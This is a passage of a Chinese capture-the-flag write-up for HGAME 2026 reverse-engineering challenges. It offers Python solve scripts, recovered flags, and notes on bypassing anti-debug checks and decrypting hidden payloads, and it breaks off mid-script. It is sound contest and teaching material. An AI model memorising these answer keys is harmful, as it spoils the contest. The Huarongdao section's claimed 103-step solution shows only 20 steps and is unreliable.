  • 由于后续根本只依赖这个 16-bit 种子(0..65535),所以不需要知道你怎么摆阵、也不需要知道 zombieKillCount直接爆破 65536 次就能出唯一合法 flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
# solve.py
# Python 3.x, no third-party deps

CIPH = [
0, -8, -6, 6, 31, -39, -104, 114, 86, -23, -35, 28, -122,
56, 29, -126, -29, 94, 23, -29, 46, -126, -4, 45, 20, -57
]

XOR_KEY1 = 102
XOR_KEY2 = 119

AES_KEY = [74, -111, -61, 127, 46, -75, 104, -44, 28, -119, 58, -14, 93, -90, 113, -66]

PAIRS = [
('A','Q'),('B','W'),('C','E'),('D','R'),('E','T'),('F','Y'),('G','U'),('H','I'),
('I','O'),('J','P'),('K','A'),('L','S'),('M','D'),('N','F'),('O','G'),('P','H'),
('Q','J'),('R','K'),('S','L'),('T','Z'),('U','X'),('V','C'),('W','V'),('X','B'),
('Y','N'),('Z','M'),('_','!'),('{','['),('}',']')
]
REV_SUB = {ord(v): ord(k) for k, v in PAIRS}

ROT_STR = "PLANTS_VS_ZOMBIES_2025"
ROT_OFFSET = sum(map(ord, ROT_STR)) % 26 # = 20


def u8(x: int) -> int:
return x & 0xFF


def lcg_key(seed_16bit: int) -> bytes:
v = seed_16bit
out = bytearray(16)
for i in range(16):
v = (v * 1103515245 + 12345) & 0x7FFFFFFF
out[i] = (v >> 16) & 0xFF
return bytes(out)


def decrypt_with_seed(seed_16bit: int) -> str | None:
cipher = bytes(u8(x) for x in CIPH)
key = lcg_key(seed_16bit)

# decryptWithKillCount: b ^ key[i%16] ^ ((i*13+7)&0xFF)
d = bytearray(len(cipher))
for i, b in enumerate(cipher):
d[i] = b ^ key[i % 16] ^ u8(i * 13 + 7)

# xor halves
e = bytearray(26)
for i in range(13):
e[i] = d[i] ^ XOR_KEY1
e[13 + i] = d[13 + i] ^ XOR_KEY2

# "AES" actually XOR with aesEncryptedKey repeating
aes = bytes(u8(x) for x in AES_KEY)
f = bytearray(26)
for i, b in enumerate(e):
f[i] = b ^ aes[i % 16]

try:
s = f.decode("utf-8")
except UnicodeDecodeError:
return None

# rotateDecrypt (shift letters backward by ROT_OFFSET)
t_chars = []
for ch in s:
o = ord(ch)
if 65 <= o <= 90:
t_chars.append(chr((o - 65 - ROT_OFFSET) % 26 + 65))
elif 97 <= o <= 122:
t_chars.append(chr((o - 97 - ROT_OFFSET) % 26 + 97))
else:
t_chars.append(ch)
t = "".join(t_chars)

# substitutionDecrypt via reverse map
p_chars = []
for ch in t:
o = ord(ch)
p_chars.append(chr(REV_SUB.get(o, o)))
p = "".join(p_chars)

return p


def ok_flag(s: str | None) -> bool:
return s is not None and len(s) == 26 and s.startswith("flag{") and s.endswith("}")


def main():
for seed in range(65536):
p = decrypt_with_seed(seed)
if ok_flag(p):
print("seed =", seed)
print("flag =", p)
inner = p[len("flag{"):-1]
print("submit =", f"hgame{{{inner}}}")
return

print("not found")


if __name__ == "__main__":
main()

看不懂的华容道

1)程序每一步需要输入 两字符

  • 第 1 个字符:棋子编号 0~9
  • 第 2 个字符:方向 w/a/s/d

无效移动(例如 7w7s 在当前局面不可走)不会刷新节点值;只有合法移动才会打印新的 32 位 hex 节点值。你截图里 7d 合法,所以节点值变化。


  1. 你的初始局面已从 game.bin 还原出来(与程序一致)

这是标准 4×5(20 格),10 个棋子编号 0~9,空格 2 个。初始棋盘(按格子内容)为:

1
2
3
4
5
1 0 0 2
1 0 0 2
5 5 4 3
6 8 4 3
7 . . 9

说明:

  • 0 是 2×2 大块(曹操)
  • 1~4 是竖块(1×2)
  • 5 是横块(2×1)
  • 6~9 是小块(1×1)
  • . 是空格

这也解释了你 7d:棋子 7 在左下角,右边是空格,所以能右移。


  1. “最短路径”我已经按你给的枚举顺序算出来了

你给的最短路枚举规则:

  • 棋子编号升序:0→1→2→...→9
  • 方向顺序:w→a→s→d

我用这个规则在状态图上求得 到达胜利(0 号大块到出口位置) 的最短操作序列,共 103 步

由于我无法在当前环境直接运行 huarongdao.exe,所以不能直接得出“终点节点值(32 hex)”。
但你可以把下面序列直接复制粘贴到程序里(逐行输入或一次性粘贴),最后一次打印出来的 32 hex 就是题目要的 flag 内容(终点节点值)。


  1. 最短操作序列(103 步)

每步格式:棋子编号 + 方向

前 30 步如下(用于确认你输入后节点值会持续变化):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
4s
5d
1s
7d
6s
1s
0a
2a
3w
3w
9w
9w
4d
7d
6d
1s
5a
2s
2s
3a
...

完整 103 步序列我可以按你需要的格式输出:

  • A) 每步一行(适合粘贴进程序)
  • B) 拼成一个长字符串(适合直接提交/记录)

  1. 你如何拿到最终 flag(终点节点值)
  1. 运行 huarongdao.exe
  2. 从初始状态开始,按 103 步依次输入
  3. 走完后程序会打印最终的 32 位 hex
  4. 那一串就是 flag 内容

![](HGAME 2026wp/1770095229882-ab8b86b9-c944-4035-8384-23a2ba96a4d0.png)

Signal Storm

  1. 先跑程序确认输入约束
1
2
chmod +x signal_storm
./signal_storm

现象(你也能看到):

  • 会提示输入 Enter flag:
  • 输入长度不对会直接输出 Wrong length.
  • 正确长度为 32 字节(汇编里比较 cmp rax, 0x20

  1. 定位反调试:为什么“下断点秒出 flag”经常翻车

strings 很容易看到反调试线索:

1
strings -a -t x signal_storm | grep -E '/proc/self/status|TracerPid|C0lm|Enter flag'

关键点在 .text 里(地址大概从 0x1220 开始):

  • fopen("/proc/self/status","r")
  • 循环 fgets 找到行首 "TracerPid:"
  • strtol 解析出 tracer pid(调试器 attach 时通常非 0)
  • 然后用 tracerpid 的低 8 位把 key 串逐字节 XOR 掉:

对应汇编片段(你用 objdump -d -Mintel signal_storm 能看到):

  • 解析 tracerpid:call strtol@plt
  • key 地址:lea rdx, [rip+...] -> 0x4010
  • XOR 循环:在 0x12c0 左右反复 xor BYTE PTR [rdx], al

结论:

  • 正常运行TracerPid=0,key 不变
  • 在调试器里下断点运行TracerPid!=0,key 被改坏,后续校验全变了
    所以“下断点就拿到 flag”并不可靠,除非你先绕过这一段(例如 patch 或 hook)

  1. 识别程序的真实核心:用信号把一个 for 循环“拆碎”

程序注册了三个信号处理函数(sigaction):

  • SIGSEGV(11) → 更新 RC4 状态(i/j、swap)
  • SIGTRAP(5)把 key 循环左移 1 字节
  • SIGFPE(8) → 生成 1 字节 keystream,XOR 到输入 buffer

主流程用 __sigsetjmp / __longjmp_chk 来回跳,并故意制造异常:

  • 写 NULL 指针 → 触发 SIGSEGV
  • raise(5) → 触发 SIGTRAP
  • 除 0 → 触发 SIGFPE

这样每一轮生成一个 keystream 字节并 XOR 一次,总共做 32 轮


  1. 静态提取两份关键数据(不需要调试器)

4.1 key 在 .data

1
objdump -s -j .data signal_storm

你会看到:

  • C0lm_be4ore_7he_st0rm\0(长度 21)

4.2 目标密文(32 字节)在 .rodata(也会以 movabs 立即数出现在比较处)

1
objdump -s -j .rodata signal_storm

Enter flag: 字符串后面能看到 32 字节块(例如从 0x20a0 开始):

1
2
3
4
e3 36 d9 c8 c9 c1 60 82
75 d9 11 25 d5 b2 4b 1c
4d e6 6d 71 1c af 1c f1
06 a5 1c 26 7f f6 5a 1a

程序最终是把你的输入经过变换后得到 32 字节结果,再和这 32 字节比较;所以我们反过来对这 32 字节做同样变换即可还原输入(flag)。


  1. 还原算法(等价的“正常 for 循环”)

把那套信号流简化成一轮做的事情:

  1. i = (i + 1) mod 256
  2. j = (j + S[i] + key[i mod 21]) mod 256
  3. swap S[i]S[j]
  4. key 循环左移 1 字节
  5. k = S[(S[i] + S[j]) mod 256]
  6. buf[pos] ^= k

初始化部分是标准 RC4 KSA:

  • j = (j + S[i] + key[i mod 21]) mod 256
  • swap S[i]S[j]

  1. 可执行解题脚本(自动从文件提取 key/cipher 并解出 flag)

保存为 solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
#!/usr/bin/env python3
import sys
from collections import deque

KEY_PAT = b"C0lm_be4ore_7he_st0rm\x00"
PROMPT = b"Enter flag: "

def extract_constants(blob: bytes) -> tuple[bytes, bytes]:
# key
kpos = blob.find(KEY_PAT)
if kpos == -1:
raise ValueError("key string not found in binary")
key = KEY_PAT[:-1] # strip trailing \0

# cipher: locate after "Enter flag: " string, then align up to 16 and read 32 bytes
ppos = blob.find(PROMPT)
if ppos == -1:
raise ValueError("prompt not found in binary")
nul = blob.find(b"\x00", ppos)
if nul == -1:
raise ValueError("null terminator after prompt not found")

start = (nul + 1 + 0xF) & ~0xF # 16-byte alignment (matches rodata layout)
cipher = blob[start:start + 32]
if len(cipher) != 32:
raise ValueError("cipher block not found / truncated")
return key, cipher

def ksa(key: bytes) -> list[int]:
S = list(range(256))
j = 0
for i in range(256):
j = (j + S[i] + key[i % len(key)]) & 0xFF
S[i], S[j] = S[j], S[i]
return S

def transform(buf: bytes, key: bytes) -> bytes:
# This matches the effective order enforced by signals:
# SIGSEGV: update i/j + swap
# SIGTRAP: rotate key left 1
# SIGFPE : keystream and XOR
keydq = deque(key)
S = ksa(bytes(keydq))
i = 0
j = 0
out = bytearray(buf)

for pos in range(len(out)):
i = (i + 1) & 0xFF
j = (j + S[i] + keydq[i % len(keydq)]) & 0xFF
S[i], S[j] = S[j], S[i]

keydq.rotate(-1) # rotate left by 1

k = S[(S[i] + S[j]) & 0xFF]
out[pos] ^= k

return bytes(out)

def main():
path = sys.argv[1] if len(sys.argv) > 1 else "./signal_storm"
blob = open(path, "rb").read()

key, cipher = extract_constants(blob)
plain = transform(cipher, key)

try:
print(plain.decode())
except UnicodeDecodeError:
print(plain)

if __name__ == "__main__":
main()

运行:

1
python3 solve.py ./signal_storm

输出就是正确 flag:

  • hgame{Null_c0lm_wi7hout_0_storm}

NonceSense

  1. 已知文件与目标

你给的三份文件:

  • Client.exe:用户态客户端(负责与驱动通信、并对明文做一次可逆混淆)
  • GateDriver.sys:WDM 内核驱动(负责生成会话随机数、派生密钥、AES 加密并输出产物)
  • Drv_blob.bin:某次会话的产物(即需要解密的密文)

目标:从 Drv_blob.bin 还原出明文(flag)。


  1. 静态分析总路线(为什么这样做是逻辑闭合的)

2.1 先看 Drv_blob.bin 结构(无需任何执行)

Drv_blob.bin 长度为 80 字节,最合理的划分方式是:

  • 前 16 字节:会话随机 nonce
  • 后 64 字节:AES 密文(64=4×16 字节块)

这一步的验证非常直接:80 = 16 + 64,且 AES 块大小是 16。

2.2 从 GateDriver.sys 里还原“密钥派生 + AES 模式”

在驱动里定位到加密路径的常见入口:

  • DriverEntry -> 创建设备对象、符号链接
  • MajorFunction[IRP_MJ_DEVICE_CONTROL] -> DispatchDeviceControl 之类
  • switch(IOCTL) 分支里有一条分支会:
    1. 生成 16 字节随机数(nonce)
    2. 通过 HMAC-SHA256 两次派生出 AES-128 key
    3. 使用 AES-ECB 对数据加密(输出块对齐)
    4. 输出/拼装:nonce + ciphertext

你在 IDA/Ghidra 中通常能通过以下“证据”确认算法:

  • SHA256 常量表(0x6a09e667, 0xbb67ae85... 等)
  • HMAC 结构(ipad=0x36, opad=0x5c 的 XOR 填充逻辑)
  • AES SBox / Rcon 常量表(或明显的 AES round 结构)
  • ECB 特征:每 16 字节独立处理、没有 IV 链接/异或(区别于 CBC/CTR)

2.3 从 Client.exe 里确认“明文在进驱动前被混淆”

客户端一般会:

  • 准备明文(flag)
  • 对每个字节做一次可逆混淆(避免明文直接出现在驱动输入里)
  • 通过 DeviceIoControl 发给驱动
  • 驱动对“混淆后的明文”做 AES 加密

所以解密时应当:

  1. AES 解密得到“混淆后的明文”
  2. 再把客户端那层混淆逆回来

客户端里这类混淆常见形态:

  • 逐字节循环
  • 使用索引 i 混入线性项(如 a*i+b
  • 叠加 rotate/ror/rol
  • 再 XOR 常量

  1. 关键还原结果(可以直接写成解密流程)

3.1 Drv_blob.bin 格式

1
blob = nonce(16 bytes) || ciphertext(64 bytes)

3.2 AES 参数

  • AES-128
  • 模式:ECB
  • 填充:PKCS#7(解密后尾部 0x09 重复 9 次即可验证)

3.3 密钥派生(驱动内实现,HKDF-like 的两次 HMAC-SHA256)

  • salt = 0x00 * 32
  • info = b"VIDAR_HGAME_D3C_A3S_K2_build2026"(驱动里经常是常量表/拼接还原出来的这段 bytes)
  • prk = HMAC_SHA256(key=salt, msg=nonce)
  • okm = HMAC_SHA256(key=prk, msg=info + b"\x01")
  • aes_key = okm[:16]

3.4 客户端混淆的逆变换(逐字节)

设 AES 解密并去填充后的每个字节为 y,逆得到真实明文字节 x

  • t = (13*i + 195) & 0xff
  • r = (3*i + 1) & 7
  • x = ROR8(y ^ 0x5a, r) ^ t

其中 ROR8 表示 8-bit 右循环移位。


  1. 可执行解密脚本(直接跑出明文)

依赖:pycryptodome

安装:

1
pip install pycryptodome

运行:

1
python solve.py /mnt/data/Drv_blob.bin

solve.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#!/usr/bin/env python3
import sys
import hmac
import hashlib
from Crypto.Cipher import AES

INFO = b"VIDAR_HGAME_D3C_A3S_K2_build2026" # driver-side constant
SALT = b"\x00" * 32

def rotr8(x: int, r: int) -> int:
r &= 7
return ((x >> r) | ((x << (8 - r)) & 0xFF)) & 0xFF

def pkcs7_unpad(data: bytes, block_size: int = 16) -> bytes:
if not data or len(data) % block_size != 0:
raise ValueError("Invalid padded length")
pad = data[-1]
if pad < 1 or pad > block_size:
raise ValueError("Bad PKCS#7 padding value")
if data[-pad:] != bytes([pad]) * pad:
raise ValueError("Bad PKCS#7 padding bytes")
return data[:-pad]

def derive_key(nonce: bytes) -> bytes:
prk = hmac.new(SALT, nonce, hashlib.sha256).digest()
okm = hmac.new(prk, INFO + b"\x01", hashlib.sha256).digest()
return okm[:16] # AES-128 key

def undo_client_mangle(buf: bytes) -> bytes:
out = bytearray()
for i, y in enumerate(buf):
t = (13 * i + 195) & 0xFF
r = (3 * i + 1) & 7
x = rotr8(y ^ 0x5A, r) ^ t
out.append(x)
return bytes(out)

def solve(blob_path: str) -> bytes:
with open(blob_path, "rb") as f:
blob = f.read()

if len(blob) < 16 or (len(blob) - 16) % 16 != 0:
raise ValueError(f"Unexpected blob length: {len(blob)}")

nonce = blob[:16]
ct = blob[16:]

key = derive_key(nonce)
pt_padded = AES.new(key, AES.MODE_ECB).decrypt(ct)
pt = pkcs7_unpad(pt_padded, 16)

real = undo_client_mangle(pt)
return real

if __name__ == "__main__":
if len(sys.argv) != 2:
print(f"Usage: {sys.argv[0]} <Drv_blob.bin>", file=sys.stderr)
sys.exit(2)

plaintext = solve(sys.argv[1])
try:
print(plaintext.decode("ascii"))
except UnicodeDecodeError:
# fallback: print hex if not pure ascii
print(plaintext.hex())

  1. 解密输出(脚本跑出来的结果)

明文为:

1
hgame{n0w_y9u_2_a_n0nces3nser_9f3a1c0e7b2d4a8c1e3f5a7b}

Androuge

题目提示:“至少……也要见到第一个Boss吧……”
附件是 androuge.zip,里面是一个 APK。


  1. 文件定位与初步判断

先解包:

1
2
3
unzip androuge.zip -d androuge
cd androuge
unzip app-release.apk -d apk

重点文件:

  • assets/waw(ELF,可执行)
  • assets/game(疑似脚本/字节码资源)

assets/game 的第一个字节是 0x1b(很像 Lua chunk 头),但后续不正常,说明做了轻量混淆。


  1. 还原 assets/game

assets/game 从第 2 字节开始逐字节异或 0x9c,可还原出可解析的 chunk(头部为 \x1bWawT,把 Waw 改回 Lua 即可按 Lua chunk 解析)。

核心还原逻辑:

1
2
3
4
raw = bytearray(game_bytes)
for i in range(1, len(raw)):
raw[i] ^= 0x9c
chunk = b'\x1bLua' + bytes(raw[4:])

  1. 从 chunk 中提取关键配置

解析后可拿到配置字段:

  • key_seed = 18
  • target_floor = 100
  • boss_interval = 5
  • view_radius = 6

并且在主原型指令里能定位到一段连续 29 条“装载字节”序列(第二字节 + 1 即是密文字节),得到:

1
2
3
4
5
enc_flag = [
233,229,226,233,224,253,208,231,254,213,
210,188,248,209,200,255,229,205,199,252,
166,201,206,253,247,254,171,238,224
]

  1. 解密逻辑

种子:

1
2
3
seed = key_seed + target_floor + boss_interval + view_radius
= 18 + 100 + 5 + 6
= 129

逐字节解密:

1
plain[i] = enc_flag[i] ^ (seed + i)

得到明文:

1
hgame{Wow_Y0u_Got_Th3_Yend0r}

  1. 一键复现脚本(可直接跑)

把下面保存为 solve.py,与 androuge.zip 放同目录执行。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
#!/usr/bin/env python3
import io
import struct
import zipfile


class Reader:
def __init__(self, b: bytes):
self.b = b
self.i = 0

def read(self, n: int) -> bytes:
if self.i + n > len(self.b):
raise EOFError(f"read overflow at {self.i}, need {n}, total {len(self.b)}")
x = self.b[self.i:self.i + n]
self.i += n
return x

def byte(self) -> int:
return self.read(1)[0]

def u32(self) -> int:
return int.from_bytes(self.read(4), "little", signed=False)

def s64(self) -> int:
return int.from_bytes(self.read(8), "little", signed=True)

def load_u(self, limit=(1 << 63) - 1) -> int:
# Lua 5.4 风格可变长无符号整数(高位1表示结束)
x = 0
while True:
b = self.byte()
x = (x << 7) | (b & 0x7F)
if x > limit:
raise ValueError("varint overflow")
if b & 0x80:
break
return x

def load_str(self):
n = self.load_u((1 << 63) - 1)
if n == 0:
return None
# 该 chunk 字符串长度字段为 (len + 1)
return self.read(n - 1).decode("utf-8", errors="replace")


def parse_header(r: Reader):
sig = r.read(4)
ver = r.byte()
fmt = r.byte()
luac = r.read(6)
a = r.byte()
b = r.byte()
c = r.byte()
luac_int = r.s64()
luac_num = struct.unpack("<d", r.read(8))[0]
return {
"sig": sig, "ver": ver, "fmt": fmt, "luac": luac,
"a": a, "b": b, "c": c, "luac_int": luac_int, "luac_num": luac_num
}


def parse_proto(r: Reader, parent=None):
src = r.load_str()
if src is None:
src = parent

_ld = r.load_u((1 << 31) - 1)
_lld = r.load_u((1 << 31) - 1)
_numparams = r.byte()
_is_vararg = r.byte()
_maxstack = r.byte()

ncode = r.load_u((1 << 31) - 1)
code_off = r.i
code = [r.u32() for _ in range(ncode)]

nconst = r.load_u((1 << 31) - 1)
const = []
for _ in range(nconst):
t = r.byte()
if t == 0:
const.append(None)
elif t == 1:
const.append(False)
elif t == 17:
const.append(True)
elif t == 3:
const.append(int.from_bytes(r.read(8), "little", signed=True))
elif t == 19:
const.append(struct.unpack("<d", r.read(8))[0])
elif (t & 0x0F) == 4 or t in (4, 20, 68, 84):
const.append(r.load_str())
else:
const.append(("tag", t))

nup = r.load_u((1 << 31) - 1)
for _ in range(nup):
r.read(3) # upvalue desc

nproto = r.load_u((1 << 31) - 1)
protos = [parse_proto(r, src) for _ in range(nproto)]

# debug 区
nline = r.load_u((1 << 31) - 1)
if nline:
r.read(nline)

nabs = r.load_u((1 << 31) - 1)
for _ in range(nabs):
r.load_u((1 << 31) - 1)
r.load_u((1 << 31) - 1)

nloc = r.load_u((1 << 31) - 1)
for _ in range(nloc):
r.load_str()
r.load_u((1 << 31) - 1)
r.load_u((1 << 31) - 1)

nupn = r.load_u((1 << 31) - 1)
for _ in range(nupn):
r.load_str()

return {
"src": src,
"code_off": code_off,
"ncode": ncode,
"code": code,
"const": const,
"protos": protos,
}


def get_num_after_key(consts, key: str) -> int:
for i, x in enumerate(consts):
if x == key:
for j in range(i + 1, len(consts)):
if isinstance(consts[j], int):
return consts[j]
raise KeyError(key)


def extract_enc_from_code(chunk: bytes, code_off: int, ncode: int):
# 以 big-endian 读指令字,找连续模式: [a, b, 0x00, 0x03] 且 a 连续递增
words_be = [
int.from_bytes(chunk[code_off + 4 * i: code_off + 4 * i + 4], "big")
for i in range(ncode)
]

candidates = []
i = 0
while i < len(words_be):
w = words_be[i]
a, b, c, d = (w >> 24) & 0xFF, (w >> 16) & 0xFF, (w >> 8) & 0xFF, w & 0xFF
if c == 0 and d == 3:
arr = [(a, b)]
j = i + 1
while j < len(words_be):
w2 = words_be[j]
a2, b2, c2, d2 = (w2 >> 24) & 0xFF, (w2 >> 16) & 0xFF, (w2 >> 8) & 0xFF, w2 & 0xFF
if c2 == 0 and d2 == 3 and a2 == arr[-1][0] + 1:
arr.append((a2, b2))
j += 1
else:
break
if len(arr) >= 20:
candidates.append(arr)
i = j
else:
i += 1

if not candidates:
raise RuntimeError("enc sequence not found")

arr = max(candidates, key=len)
# b 需 +1 才是实际密文字节
return [b + 1 for _, b in arr]


def solve(zip_path: str):
with zipfile.ZipFile(zip_path) as z:
apk_name = [n for n in z.namelist() if n.endswith(".apk")][0]
apk_data = z.read(apk_name)

with zipfile.ZipFile(io.BytesIO(apk_data)) as apk:
game = apk.read("assets/game")

raw = bytearray(game)
for i in range(1, len(raw)):
raw[i] ^= 0x9C

chunk = b"\x1bLua" + bytes(raw[4:])

r = Reader(chunk)
_hdr = parse_header(r)
_top_upvalue_num = r.byte()
root = parse_proto(r, None)

consts = root["const"]
key_seed = get_num_after_key(consts, "key_seed")
target_floor = get_num_after_key(consts, "target_floor")
boss_interval = get_num_after_key(consts, "boss_interval")
view_radius = get_num_after_key(consts, "view_radius")

enc = extract_enc_from_code(chunk, root["code_off"], root["ncode"])

seed = key_seed + target_floor + boss_interval + view_radius
flag = "".join(chr(v ^ (seed + i)) for i, v in enumerate(enc))

print("[+] key_seed =", key_seed)
print("[+] target_floor =", target_floor)
print("[+] boss_interval =", boss_interval)
print("[+] view_radius =", view_radius)
print("[+] seed =", seed)
print("[+] enc_flag =", enc)
print("[+] flag =", flag)


if __name__ == "__main__":
solve("androuge.zip")

运行输出末尾应为:

1
[+] flag  = hgame{Wow_Y0u_Got_Th3_Yend0r}

最终提交

**hgame{Wow_Y0u_Got_Th3_Yend0r}**

衔尾蛇

题目给了一个 ouroboros.zip,提示是“自运行代码 + 自指混淆”,并且提交格式是 flag{EXAMPLE}
我这边完整复现后拿到的结果是:

**flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}**


  1. 初步分析:先拆包看结构
1
2
3
unzip ouroboros.zip
jar tf ouroboros-app-0.0.1-SNAPSHOT.jar | head
jar tf ouroboros-app-0.0.1-SNAPSHOT.jar | grep -E "ShadowLoader|LogicSwapper|RiskPolicy|application-data.db|OuroborosVM"

可以看到几个关键点:

  • Spring Boot 外层壳(OuroborosApplication / TradeService / RiskPolicy
  • LogicSwapper 会在运行时换掉策略逻辑
  • 有一个异常可疑文件:BOOT-INF/classes/application-data.db

这类题一般是“外层 Java 壳 + 内层 payload/VM”。


  1. 外层核心:ShadowLoader 解密 application-data.db

逆向 ShadowLoader.initContext() 可以得到解密流程(伪代码):

1
2
3
4
5
6
state = deriveKey();
for each byte i in data:
state = state * 1103515245 + 12345 // mod 2^32
k = (state >> 16) & 0xff
data[i] ^= k
payload = data[128:] // 跳过 128 字节

也就是:

  • 这是一个 LCG 流密码 XOR
  • 明显 skip(128) 后应该是被装进去的真实内容(通常是 JAR,开头应为 PK\x03\x04

  1. 反推 key:利用已知明文 PK\x03\x04

已知内层 JAR 开头特征:

  • 偏移 128 处解密后应当是 50 4B 03 04

所以可以拿 enc[128:132]PK\x03\x04 异或得到4个 keystream 字节,然后逆推 LCG 状态。

复现结果(我本地跑出来):

  • deriveKey & 0xFFFFFF = 0x40bec8
  • 可取一个完整 key:0x7e40bec8
  • 最关键低 8 位:key_lsb = 0xc8

这里一个容易踩坑点:这个 keystream 只取 state>>16,所以某些位不影响观测字节,高 8 位可存在等价类。
但对本题而言,0x7e40bec8 能稳定解出正确内层 jar。


  1. 解出内层 JAR,定位 OuroborosVM

用上面的 key 解 application-data.db 后,截去前 128 字节即可得到内层 jar,结构里有:

  • com/seal/ouroboroscore/OuroborosVM.class

这个类里有静态固件数组 FIRMWARE(长度 375)。
运行前会再做一层:

1
firmware[i] ^= (deriveKey & 0xff)

也就是每字节再 XOR 0xc8,得到真正字节码。


  1. VM 指令语义 + 还原校验逻辑

固件解开后,可以识别到核心 opcode(足够做题):

  • 0x10:push 16-bit 立即数
  • 0x20:push 输入长度
  • 0x30:按索引取输入字符
  • 0x35:xor
  • 0x4A:条件跳转(栈顶为 0 才跳)
  • 0xFF:halt(最终栈顶为 1 才通过)

固件结构很规律:

  1. 先检查输入长度是否等于 0x21(33)
  2. 然后反复出现块:
    • input[idx]
    • 与常量字符比较(通过 xor == 0 形式)
    • 不等就 fail
  3. 全部通过后进入 success 分支

把每个 idx -> char 抽出来重组,得到:

flag{Vm_1n_Vm_1s_Th3_R34l_M4tr1x}


  1. 自动化求解脚本(可直接跑)

把下面保存为 solve_ouroboros.py,然后执行:
python3 solve_ouroboros.py /mnt/data/ouroboros.zip

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
#!/usr/bin/env python3
import io
import os
import re
import sys
import zipfile
import tempfile
import subprocess

A = 1103515245
C = 12345
INV_A = 4005161829 # A 在 mod 2^32 下的乘法逆元


def lcg_decrypt(data: bytes, key: int) -> bytes:
s = key & 0xFFFFFFFF
out = bytearray(data)
for i in range(len(out)):
s = (A * s + C) & 0xFFFFFFFF
out[i] ^= (s >> 16) & 0xFF
return bytes(out)


def recover_key_low24(enc: bytes) -> int:
# 解密后 offset 128 处应为 PK\x03\x04
known = b"PK\x03\x04"
ks = [enc[128 + i] ^ known[i] for i in range(4)]
b0, b1, b2, b3 = ks

s129 = None
for high8 in range(256):
base = (high8 << 24) | (b0 << 16)
for lo16 in range(65536):
s = base | lo16
s1 = (A * s + C) & 0xFFFFFFFF
if ((s1 >> 16) & 0xFF) != b1:
continue
s2 = (A * s1 + C) & 0xFFFFFFFF
if ((s2 >> 16) & 0xFF) != b2:
continue
s3 = (A * s2 + C) & 0xFFFFFFFF
if ((s3 >> 16) & 0xFF) != b3:
continue
s129 = s
break
if s129 is not None:
break

if s129 is None:
raise RuntimeError("failed to recover state")

# 回退 129 步得到 key(s0)
key = s129
for _ in range(129):
key = (INV_A * ((key - C) & 0xFFFFFFFF)) & 0xFFFFFFFF
return key & 0xFFFFFF


def extract_firmware_with_javap(inner_jar: bytes) -> bytes:
with tempfile.TemporaryDirectory() as td:
jar_path = os.path.join(td, "inner.jar")
with open(jar_path, "wb") as f:
f.write(inner_jar)

with zipfile.ZipFile(jar_path, "r") as z:
cls_name = "com/seal/ouroboroscore/OuroborosVM.class"
cls_data = z.read(cls_name)
cls_path = os.path.join(td, cls_name)
os.makedirs(os.path.dirname(cls_path), exist_ok=True)
with open(cls_path, "wb") as f:
f.write(cls_data)

out = subprocess.check_output(
["javap", "-classpath", td, "-p", "-c", "com.seal.ouroboroscore.OuroborosVM"],
text=True, errors="ignore"
)

lines = out.splitlines()
start = None
for i, line in enumerate(lines):
if line.strip().startswith("static {};"):
start = i
break
if start is None:
raise RuntimeError("static block not found")

inst = []
for line in lines[start + 1:]:
m = re.match(r"^\s*(\d+):\s+([a-z_0-9]+)(?:\s+(.*))?$", line)
if m:
inst.append((int(m.group(1)), m.group(2), m.group(3) or "", line))

stack = []
arr = None

def parse_const(op, arg, raw):
if op in ("bipush", "sipush"):
return int(arg.strip().split()[0])
if op.startswith("iconst_"):
v = op[len("iconst_"):]
return -1 if v == "m1" else int(v)
if op == "ldc":
m = re.search(r"//\s+int\s+(-?\d+)", raw)
if m:
return int(m.group(1))
return None

for _pc, op, arg, raw in inst:
c = parse_const(op, arg, raw)
if c is not None:
stack.append(c)
continue

if op == "newarray":
n = stack.pop()
arr = [0] * n
stack.append(arr)
elif op == "dup":
stack.append(stack[-1])
elif op == "bastore":
val = stack.pop()
idx = stack.pop()
ref = stack.pop()
if ref is not arr:
